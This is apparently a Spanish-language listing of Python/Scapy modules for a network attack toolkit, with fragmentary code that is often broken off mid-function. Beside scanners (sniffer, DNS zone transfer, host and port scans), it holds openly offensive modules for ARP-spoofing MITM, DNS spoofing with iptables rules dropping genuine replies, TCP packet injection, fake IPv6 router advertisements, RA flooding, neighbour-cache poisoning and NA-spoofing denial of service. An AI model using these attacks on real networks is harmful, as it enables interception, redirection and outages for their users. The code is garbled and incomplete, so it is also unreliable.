paquete=capa_IP/capa_TCP/payloadB
#print(paquete)
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward") # desactivo la
retransmision
b=sr1(paquete, timeout = 0.4)
# print(type(b))
# print(b)
def recuperaSeq_Ack(pkt):
#print("recuperaSeq_Ack")
if IP in pkt:
ip_src= pkt[IP].src
ip_dst= pkt[IP].dst
if TCP in pkt:
tcp_sport = pkt[TCP].dport
tcp_dport = pkt[TCP].sport
tcp_seq = pkt[TCP].seq
tcp_ack = pkt[TCP].ack
tcp_flags= pkt[TCP].flags
#print("IP(src:" + str(pkt[IP].src) + ", dst:" +
str(pkt[IP].dst) + ")\nTCP(sport:" + str(pkt[TCP].sport) + ", dport:"
+ str(pkt[TCP].dport) +", seq:"+ str(pkt[TCP].seq) + ", ack:"+
str(pkt[TCP].ack) +", flags: "+ str(pkt[TCP].flags) +")\n")
if tcp_flags == 24:
capa_IP = IP(src=ip_dst, dst=ip_src)
capa_TCP = TCP(sport=int(tcp_sport), dport=
int(tcp_dport), seq=int(tcp_ack), ack=int(tcp_seq) +
len(pkt.load.decode('UTF-8').strip()) + 1, flags=16)
paquete=capa_IP/capa_TCP
send(paquete, iface= iface)
#--------------------------------------------------------------------
Módulos Scanner
#Nombre de script: sniff.py
# Descripción: Es un sniffer para monitorear la comunicación entre dos hosts.
class Sniff():
target1 = ""
target2 = ""
iface = None
def __info(self):
print("""
OPTIONS INFO
""")
def set(self,args):
try:
if args[0] == "target1":
self.target1 = args[1]
print("[+] target1:",args[1])
elif args[0] == "target2":
self.target2 = args[1]
print("[+] target2:",args[1])
elif args[0] == "iface":
self.iface = args[1]
print("[+] iface:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("El comando debe tener la siguiente sintaxis:
set <option name> <value>")
def run(self):
comando = 'python3 modulos/scanner/_sniff.py ' +
self.target1 + ' ' + self.target2 + ' ' + str(self.iface)
def proceso():
subprocess.run(['xterm','-e', comando])
hilo = threading.Thread(target=proceso)
hilo.setDaemon(True)
hilo.start()
#--------------------------------------------------------------------
#Nombre de script: _ sniff.py
import sys
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
print("Necesitas tener scapy.")
sys.exit(0)
if IP in pkt:
ip_src= pkt[IP].src
ip_dst= pkt[IP].dst
if TCP in pkt:
tcp_sport = pkt[TCP].sport
tcp_dport = pkt[TCP].dport
tcp_seq = pkt[TCP].seq
tcp_ack = pkt[TCP].ack
tcp_flags= pkt[TCP].flags
#--------------------------------------------------------------------
#Nombre de script: dnsaxfr.py
# Descripción: Permite identificar a los DNS autoritativos para un dominio y solicita una
transferencia de zona completa.
import dns.query
import dns
import dns.resolver
import dns.zone
import os
from colorama import init, Fore, Back, Style
import time
class Dnsaxfr():
domain = ""
def __info(self):
print("""
OPTIONS INFO
""")
def set(self,args):
try:
if args[0] == "domain":
self.domain = args[1]
print("[+] domain:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("Se esperaba set <option name> <value>")
servers.append(str(l3[1]).strip("."))
print("\nSe encontraron {}
servidores.\n".format(len(servers)))
for sv1 in servers:
print("Solicitando transferencia de zona al
servidor", sv1)
try:
zona =
dns.zone.from_xfr(dns.query.xfr(sv1.strip(" "), self.domain))
print("Tranferencia EXITOSA, servidor",
sv1.strip(" "),"\n")
time.sleep(1)
nombres = zona.nodes.keys()
for n in nombres:
print(zona[n].to_text(n))
print("\n")
except Exception as a:
print("Transferencia fallida,
servidor", sv1.strip(" "))
print("Reply code: Not authoritative
(9)\n")
except Exception as e:
print("ERROR: ",e)
#--------------------------------------------------------------------
#Nombre de script: liveshosts.py
# Descripción: Permite identificar a los hosts activos en una red.
import sys
from colorama import init, Fore, Back, Style
import time
import logging
import socket
import struct
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
print("Necesitas tener scapy.")
sys.exit(0)
class Liveshosts():
target = ""
method = "arp"
iface = None
def __info(self):
print("""
OPTIONS INFO
def set(self,args):
try:
if args[0] == "target":
self.target = args[1]
print("[+] target:",args[1])
elif args[0] == "method":
self.method = args[1]
print("[+] method:",args[1])
elif args[0] == "iface":
self.iface = args[1]
print("[+] iface:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("SEl comando debe tener la siguiente
sintaxis: <option name> <value>")
def int2ip(addr):
return socket.inet_ntoa(struct.pack("!I", addr))
mi_ip = IP(dst="")
mi_mac = ""#Ether(dst="")
if self.method == "arp":
conf.verb=0
net = self.target
if "/" in net:
iface= None
if self.target != "":
print("\nEscaneando hosts de la red
{}{}[{}]{}{}\n".format(Fore.CYAN, Style.BRIGHT, net, Fore.RESET,
Style.NORMAL))
try:
tinicial = time.time()
vivos, muertos =
srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net), iface=iface,
retry=-2, timeout=2)
hostsN.append((respuesta[ARP].psrc, respuesta[ARP].hwsrc))
hostsN.sort()
print("--------------------------
-----------------------------")
except Exception as e:
print(e)
else:
print("ERROR! el numero de parametros
es incorrecto.")
else:
print("ERROR! la dirección de red debe seguir
la siguiente sintaxis red/mask. Ejemplo 192.168.1.0/24")
if "/" in red:
hostsp = self.target.split("/")
host = hostsp[0]
bitHosts = 32 - int(hostsp[1])
cantidadHosts = 2 ** bitHosts
if("NoneType" in
str(type(respuesta))):
print("{}{} {:<17}
[NO]{}{}".format(Fore.RED, Style.BRIGHT, ip_dest, Fore.RESET,
Style.NORMAL))
i=i+1
elif(respuesta.haslayer(TCP) and
(respuesta.getlayer(TCP).flags == 20 or respuesta.getlayer(TCP).flags
== 4 or respuesta.getlayer(TCP).flags == 18)):
#print(ip_dest + "
[conectado]")
p = IP(dst =
host)/TCP(sport = puertoOrigen, dport = 80, flags = "R")
rst = sr(p,
iface=self.iface, timeout = 0.06)
print(" {:<17}
[conectado]".format(ip_dest))
i=i+1
c=c+1
except KeyboardInterrupt:
print("")
tfinal = time.time()
tiempo = tfinal - tinicial # Devuelve un
objeto timedelta
else:
print("ERROR! la dirección de red debe seguir
la siguiente sintaxis red/mask. Ejemplo 192.168.1.0/24")
if "/" in red:
if("NoneType" in str(type(respuesta))):
print("{}{} {:<17}
[NO]{}{}".format(Fore.RED, Style.BRIGHT, ip_dest, Fore.RESET,
Style.NORMAL))
i=i+1
else:
#print(ip_dest + "
[conectado]")
print(" {:<17}
[conectado]".format(ip_dest))
i=i+1
c=c+1
tfinal = time.time()
tiempo = tfinal - tinicial # Devuelve un
objeto timedelta
else:
print("ERROR! la dirección de red debe seguir
la siguiente sintaxis red/mask. Ejemplo 192.168.1.0/24")
else:
print("la opción 'method' solo admite <tcpsyn>,
<icmp> o <arp>")
#--------------------------------------------------------------------
#Nombre de script: ports.py
# Descripción: Permite identificar los puertos abiertos de un host.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
print("Necesitas tener scapy.")
sys.exit(0)
class Ports():
target = ""
ports = []
iface = None
def __info(self):
print("""
OPTIONS INFO
----------------------------- ---------------------------
--
[-] set target 192.168.1.1 ip de host a escanear
[-] set target 192.168.1.0/24 dirección de red a
escanear
""")
def set(self,args):
try:
if args[0] == "target":
self.target = args[1]
print("[+] target:",args[1])
elif args[0] == "ports":
self.ports = args[1]
print("[+] ports:",args[1])
elif args[0] == "iface":
self.iface = args[1]
print("[+] iface:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("El comando debe tener la siguiente sintaxis:
set <option name> <value>")
def run(self):
listaPuertos=[]
if self.ports == "default":
listaPuertos = list(range(1,1001))
else:
puertos = self.ports.split(',')
for p in puertos:
if "-" in p:
aux = p.split("-")
listaaux = list(range(int(aux[0]),
int(aux[1]) + 1))
listaPuertos.extend(listaaux)
else:
listaPuertos.append(int(p))
nm = nmap.PortScanner()
if "/" in host2:
#print("\n")
conectados = nm.scan(host2, arguments= '-sP') # ---
-------------->>>>
ip_conectadas = list(conectados["scan"].keys())
ip_conectadas.sort()
mi_ip = IP(dst="")
if mi_ip.src in ip_conectadas:
ip_conectadas.remove(mi_ip.src)
print("Hosts conectados", ip_conectadas)
else:
ip_conectadas = [host2]
tinicial = time.time()
for host in ip_conectadas:
print("\nEscaneando puertos de
{}{}[{}]{}{}".format(Fore.CYAN, Style.BRIGHT, host, Fore.RESET,
Style.NORMAL))
print("-"*55)
print(Fore.RED + Style.BRIGHT + "{:>10} {}
{} ".format("PUERTO","ESTADO", "SERVICIO") + Back.RESET +
Fore.RESET + Style.NORMAL)
print("-"*55)
for puerto in listaPuertos:
puertoOrigen = RandShort()
tfinal = time.time()
tiempo = tfinal - tinicial # Devuelve un objeto timedelta
print("\nTiempo de escaneo %.2f" %(tiempo), end="
segundos\n\n")
#--------------------------------------------------------------------
Módulos Spoofing
#Nombre de script: arpspoof.py
# Descripción: Permite realizar un ataque MITM envenenando la caché ARP de las víctimas.
import subprocess
import platform
import os
import threading
from colorama import init, Fore, Back, Style
class Arpspoof():
target1 = ""
target2 = ""
iface = None
def __info(self):
print("""
OPTIONS INFO
""")
def set(self,args):
try:
if args[0] == "target1":
self.target1 = args[1]
print("[+] target1:",args[1])
elif args[0] == "target2":
self.target2 = args[1]
print("[+] target2:",args[1])
elif args[0] == "iface":
self.iface = args[1]
print("[+] iface:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("El comando debe tener la siguiente sintaxis:
set <option name> <value>")
def run(self):
comando = 'python3
modulos/spoofing/_arpspoofing_spoofmitm.py ' + self.target1 + ' ' +
self.target2 + ' ' + str(self.iface)
def proceso():
subprocess.call(['xterm', '-e', comando])
hilo = threading.Thread(target=proceso)
hilo.setDaemon(True)
hilo.start()
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
#--------------------------------------------------------------------
#Nombre de script: _arpspoof.py
import os
import sys
import time
import threading
import logging
from colorama import Fore, Back, Style, init
import platform
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
print("Necesitas tener scapy")
sys.exit(0)
if platform.system() == "Windows":
init()
exe = True
en = True
iptarget1 = sys.argv[1] #args[0]
iptarget2 = sys.argv[2] #args[1]
if sys.argv[3]=='None':
iface = None
else:
iface = sys.argv[3]
conf.verb=0
if (exe):
# obtenemos la informacion que necesitamos del router
mactarget1 = arp_target1[ARP].hwsrc # MAC del target1
mactarget2 = arp_target2[ARP].hwsrc # MAC del target2
mi_ip = arp_target1[ARP].pdst # ip del atacante
mi_mac = arp_target1[ARP].hwdst # MAC del atacante
print(Fore.RED + "\n-------------------------------------------
------------")
print("ATACANTE [IP: {} MAC: {}]".format(mi_ip, mi_mac))
print("-------------------------------------------------------"
+ Fore.GREEN)
# Envenenamiento de los target
print("\nEnvenenamiento de targets en progreso..\n")
def envenenar():
while en:
#Esperar unos segundos antes de cada ronda de
envenenamiento
#for i in range(0, len(hosts_ips)):
respuesta_ARP(iptarget2, mactarget2, iptarget1,
mi_mac, iface)
respuesta_ARP(iptarget1, mactarget1, iptarget2,
mi_mac, iface)
time.sleep(5)
def curar():
input("Presione la tecla ENTER para detener el
envenenamiento ARP...")
en = False
print(Fore.YELLOW +"Arreglando las tablas ARP a su estado
original...")
time.sleep(2)
# Arreglamos las tablas ARP de los target (por las dudas
envio 5 respuestas)
for j in range(1,5):
respuesta_ARP(iptarget2, mactarget2, iptarget1,
mactarget1, iface)
respuesta_ARP(iptarget1, mactarget1, iptarget2,
mactarget2, iface)
print(Fore.GREEN + "Listo!")
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
os.system('iptables -F')
time.sleep(3)
#--------------------------------------------------------------------
#Nombre de script: dnsspoof.py
# Descripción: Permite realizar un ataque de redirección al enviar resoluciones DNS
falsificadas.
import os
import threading
import sys
import logging
import argparse
from colorama import init, Fore, Back, Style
import subprocess
class Dnsspoof():
target = ""
dnsserver = ""
domain = ""
redirect = ""
iface = None
def __info(self):
print("""
OPTIONS INFO
""")
def set(self,args):
try:
if args[0] == "target":
self.target = args[1]
print("[+] target:",args[1])
elif args[0] == "dnsserver":
self.dnsserver = args[1]
print("[+] dnsserver:",args[1])
elif args[0] == "domain":
self.domain = args[1] + "."
print("[+] domain:",args[1])
elif args[0] == "redirect":
self.redirect = args[1]
print("[+] redirect:",args[1])
elif args[0] == "iface":
self.iface = args[1]
print("[+] iface:",args[1])
else:
print("'{}' no es una opción valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("SEl comando debe tener la siguiente sintaxis: set
<option name> <value>")
def run(self):
comando1 = 'python3
modulos/spoofing/_arpspoofing_spoofmitm.py ' + self.target + ' ' +
self.dnsserver + ' ' + str(self.iface)
def proceso1():
subprocess.call(['xterm', '-e', comando1])
hilo = threading.Thread(target=proceso1)
hilo.setDaemon(True)
hilo.start()
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
#--------------------------------------------------------------------
#Nombre de script: _dnsspoof.py
import os
import threading
import sys
import logging
import argparse
from colorama import init, Fore, Back, Style
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
print("Necesitas tener scapy.")
sys.exit(0)
target = sys.argv[1]
dnsserver = sys.argv[2]
domain = sys.argv[3]
redirect= sys.argv[4]
verbose = True
if sys.argv[5] == 'None':
iface= None
else:
iface= sys.argv[5]
def reglasRedirecion():
os.system("iptables --flush")
os.system("iptables --zero")
os.system("iptables --delete-chain")
os.system("iptables -F -t nat")
os.system('iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP')
os.system("iptables -A OUTPUT -p udp -s "+ dnsserver +" --sport
53 -d 0/0 --dport 1024:65535 -m state --state ESTABLISHED -j DROP")
def limpiarReglas():
'''
Limpia reglas de IPTABLES.
'''
os.system("iptables --flush")
# iptables -L
def desabilitarRetransmision():
'''
Deshabilita la retransmision de paquetes
'''
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
def habilitarRetransmision():
'''
Habilita la retransmision de paquetes
'''
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
def envenevamiento(packet):
''' Filtrar los paquetes DNS desde la puerta de enlace.
Por definición, la puerta de enlace es mucho más rápida que el
proceso de creación de paquetes usando scapy, ya que
necesitamos filtrar las respuestas de la puerta de enlace usando
IPTables.'''
#print("resum000en: ", packet.summary())
if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0: #si
qr==0 es una consulta dns
nombreDominio = packet.getlayer(DNS).qd.qname.decode('utf-
8').rstrip('\n')
if nombreDominio== domain:
try:
requestIP = packet[IP]
requestUDP = packet[UDP]
requestDNS = packet[DNS]
requestDNSQR = packet[DNSQR]
if verbose:
print('\n[+] La consuta DNS para el dominio %s
fue capturada..\n' %(domain))
print('[+] Generando y enviando una respuesta con
la siguiente configuración:\n')
print('[+] IP Source: %s ' %(requestIP.dst))
print('[+] IP Dest: %s ' %(requestIP.src))
print('[+] Port Source: %s ' %(requestUDP.dport))
print('[+] Port Dest: %s ' %(requestUDP.sport))
print('[+] RRName: %s '
%(packet.getlayer(DNS).qd.qname))
print('[+] RData: %s ' %(redirect))
print('[+] DNS Packet ID: %s ' %(requestDNS.id))
except:
print("Error inesperado:", sys.exc_info()[0])
limpiarReglas()
try:
limpiarReglas()
reglasRedirecion()
conf.verb = 0
print("Esperando consulta DNS para el dominio ", domain)
filtro= "src {} and dst {} and udp port 53".format(target,
dnsserver)
sniff(iface=iface, filter=filtro, prn=envenevamiento)
limpiarReglas()
except KeyboardInterrupt:
limpiarReglas()
raise
except Exception as e:
limpiarReglas()
print(e)
input("Precione la tecla ENTER para detener el ataque dnsspoofing..")
#--------------------------------------------------------------------
Módulos IPv6
#Nombre de script: scanipv6.py
# Descripción: Permite identificar a los hosts IPv6 de una red local.
import sys
from colorama import init, Fore, Back, Style
import time
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
print("Necesitas tener scapy.")
sys.exit(0)
class Scanipv6():
ip6global = ""
iface = None
#ip6global = "::"
def __info(self):
print("""
OPTIONS INFO
Solo debe configurar el nombre de la interfaz de su placa de red.
Y opcionalmente su IP global.
""")
def set(self,args):
try:
if args[0] == "iface":
self.iface = args[1]
print("[+] iface:",args[1])
elif args[0] == "ip6global":
self.ip6global = args[1]
print("[+] ip6global:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("El comando debe tener la siguiente sintaxis:
<option name> <value>")
def run(self):
conf.verb=0
try:
eth = Ether(dst="33:33:00:00:00:01")
if self.ip6global == "":
self.ip6global= "::"
ipv6g = IPv6(src=self.ip6global, dst = 'ff02::1')
ipv6 = IPv6(dst = 'ff02::1')
icmpv6 = ICMPv6EchoRequest()
paquete = eth/ipv6 / icmpv6
paqueteg = eth/ipv6g / icmpv6
ip_v6= []
print("\nEscaneando red local...\n")
ips= set(ip_v6)
ips = list(ips)
print("--------------------------------------------
-----------")
print(Fore.RED + Style.BRIGHT + " IPv6
Address MAC Address " + Back.RESET +
Fore.RESET + Style.NORMAL)
print("--------------------------------------------
-----------")
#--------------------------------------------------------------------
#Nombre de script: fakerouter.py
# Descripción: Permite realizar ataques de MITM y DoS por medio del envío de mensajes
ICMPv6 RA falsificados.
import time
import os
import sys
from colorama import init, Fore, Back, Style
import time
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
print("Necesitas tener scapy.")
sys.exit(0)
class Fakerouter():
defaultrouter = ""#"fe80::29af:b6e2:572e:c1fa"
fakerouter = "" #"fe80::82c5:f2ff:fe25:f068"
lifetime = "120"
prefix = "2001:db8::/64"
iface = None
def __info(self):
print("""
OPTIONS INFO
----------------------------- ---------------------------
--
[-] set lifetime 60 tiempo en minitos del fakerouter
""")
def set(self,args):
try:
if args[0] == "iface":
self.iface = args[1]
print("[+] iface:",args[1])
elif args[0] == "defaultrouter":
self.defaultrouter = args[1]
print("[+] defaultrouter:",args[1])
elif args[0] == "fakerouter":
self.fakerouter = args[1]
print("[+] fakerouter:",args[1])
elif args[0] == "lifetime":
self.lifetime = args[1]
print("[+] lifetime:",args[1])
elif args[0] == "prefix":
self.prefix = args[1]
print("[+] prefix:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("El comando debe tener la siguiente sintaxis:
<option name> <value>")
def run(self):
conf.verb=0
try:
prefijo = self.prefix.split("/")
if self.defaultrouter != "":
eth = Ether()
ipv6 = IPv6(dst = self.defaultrouter)
icmpv6 = ICMPv6EchoRequest()
paquete = eth/ipv6 / icmpv6
ip_v6= []
#--------------------------------------------------------------------
#Nombre de script: raflood.py
# Descripción: Permite realizar un ataque de Food Router Advertisement por medio del envío
de mensajes ICMPv6 RA falsificados.
import subprocess
import os
import threading
from colorama import init, Fore, Back, Style
import time
class Raflood():
iface = None
def __info(self):
print("""
OPTIONS INFO
El modulo no posee parametros de configuracion obligatorios.
""")
def set(self,args):
try:
if args[0] == "iface":
self.iface = args[1]
print("[+] iface:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("El comando debe tener la siguiente sintaxis:
set <option name> <value>")
def run(self):
#--------------------------------------------------------------------
#Nombre de script: _raflood.py
import time
from random import randrange, choice
import sys
import logging
import os
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
print("Necesitas tener scapy")
sys.exit(0)
conf.verb=0
try:
if sys.argv[1]=='None':
iface = None
else:
iface = sys.argv[1]
#while True:
send(a/b/c/d/e, iface=iface)
os.system("clear")
print("Inundacion RA en progreso...")
print("Cantidad de paquetes RA enviados:",x)
print("precione Ctrl-C para detener el ataque.")
except Exception as e:
print(e)
input("enter para salir")
#--------------------------------------------------------------------
#Nombre de script: namitm.py
# Descripción: Permite realizar un ataque de MITM al envenenar el caché vecino de las
víctimas.
import subprocess
import os
import threading
from colorama import init, Fore, Back, Style
class Namitm():
target1 = ""
target2 = ""
macaddr = ""
iface = None
def __info(self):
print("""
OPTIONS INFO
[+] target1: Dirección ipv6 del de host1 cuya caché vecino se desea
envenenar
""")
def set(self,args):
try:
if args[0] == "target1":
self.target1 = args[1]
print("[+] target1:",args[1])
elif args[0] == "target2":
self.target2 = args[1]
print("[+] target2:",args[1])
elif args[0] == "macaddr":
self.macaddr = args[1]
print("[+] macaddr:",args[1])
elif args[0] == "iface":
self.iface = args[1]
print("[+] iface:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
print("El comando debe tener la siguiente sintaxis:
set <option name> <value>")
def run(self):
#--------------------------------------------------------------------
#Nombre de script: _namitm.py
import logging
from colorama import init, Fore, Back, Style
import sys
import time
import threading
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
print("Necesitas tener scapy")
sys.exit(0)
if sys.argv[4]=='None':
iface = None
else:
iface = sys.argv[4]
conf.verb=0
exe = True
try:
send(pkt2)
time.sleep(0.5)
b = sr1(pkt2)
except AttributeError:
print("El target2 " + target2 + " no responde. Abortando.." )
exe= False
time.sleep(3)
sys.exit()
####################################################################
if (exe):
# imprimimos por partalla la informacion antes del
envenenamiento
mactarget1 = a[ICMPv6NDOptDstLLAddr].lladdr # MAC del target1
mactarget2 = b[ICMPv6NDOptDstLLAddr].lladdr # MAC del target2
mi_ip = a[IPv6].src # ip del atacante
print(Fore.RED + "\n-------------------------------------------
------------------------")
print("ATACANTE [IP: {} MAC: {}]".format(mi_ip, macaddr))
print("--------------------------------------------------------
-----------" + Fore.GREEN)
# Envenenamiento de los target
print("\nEnvenenamiento de targets en progreso..\n")
print("Presione Ctrl-C para tener el ataque.")
while True:
send(pkt1)
send(pkt2)
time.sleep(5)
except KeyboardInterrupt:
######## Restablesco caches de vecino a su valor original
#########
print(Fore.YELLOW +"\nRestableciendo caches de vecinos a
su estado original...")
lla1 = ICMPv6NDOptDstLLAddr(lladdr = mactarget1)
lla2 = ICMPv6NDOptDstLLAddr(lladdr = mactarget2)
for curar in range(3):
send(ip1/nd1/lla1)
send(ip2/nd2/lla2)
time.sleep(0.7)
os.system('ip6tables -F')
os.system('echo 0 >
/proc/sys/net/ipv6/conf/all/forwarding')
time.sleep(1)
print("Listo")
except Exception as e:
envenenar(target1, target2, macaddr)
#--------------------------------------------------------------------
#Nombre de script: nados.py
# Descripción: Permite realizar un ataque de denegación de servicios mediante la
falsificación de mensajes ICMPv6 NA.
import subprocess
import os
import threading
from colorama import init, Fore, Back, Style
import time
class Nados():
target = ""
ip = ""
iface = None
def __info(self):
print("""
OPTIONS INFO
[+] target: Dirección ipv6 del de host cuya caché vecino se desea
envenenar
""")
def set(self,args):
try:
if args[0] == "target":
self.target = args[1]
print("[+] target:",args[1])
elif args[0] == "ip":
self.ip = args[1]
print("[+] ip:",args[1])
elif args[0] == "iface":
self.iface = args[1]
print("[+] iface:",args[1])
else:
print("'{}' no es una opción
valida".format(args[0]))
except Exception as e:
print("ERROR!",e)
def run(self):
#--------------------------------------------------------------------
#Nombre de script: _nados.py
import logging
from colorama import init, Fore, Back, Style
import sys
import time
import threading
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
print("Necesitas tener scapy")
sys.exit(0)
if sys.argv[3]=='None':
iface = None
else:
iface = sys.argv[3]
conf.verb=0
try:
while True:
try:
sendp(pkt01)
time.sleep(5)
except KeyboardInterrupt:
sendp(pkt03)
sendp(pkt03)
print("Limpiando cache vecino...")
time.sleep(5)
break
eth = Ether()
ip1 = IPv6(dst = target)
icmpv6 = ICMPv6EchoRequest()
pkt1 = eth/ip1/icmpv6
ip_v6= []
if len(ip_v6)==2:
naspoof(target, ip, ip_v6)
else:
print("Verifique las direcciones IP, hay un host que no
está respondiendo.")
input()
except Exception as er:
print("Error:", er)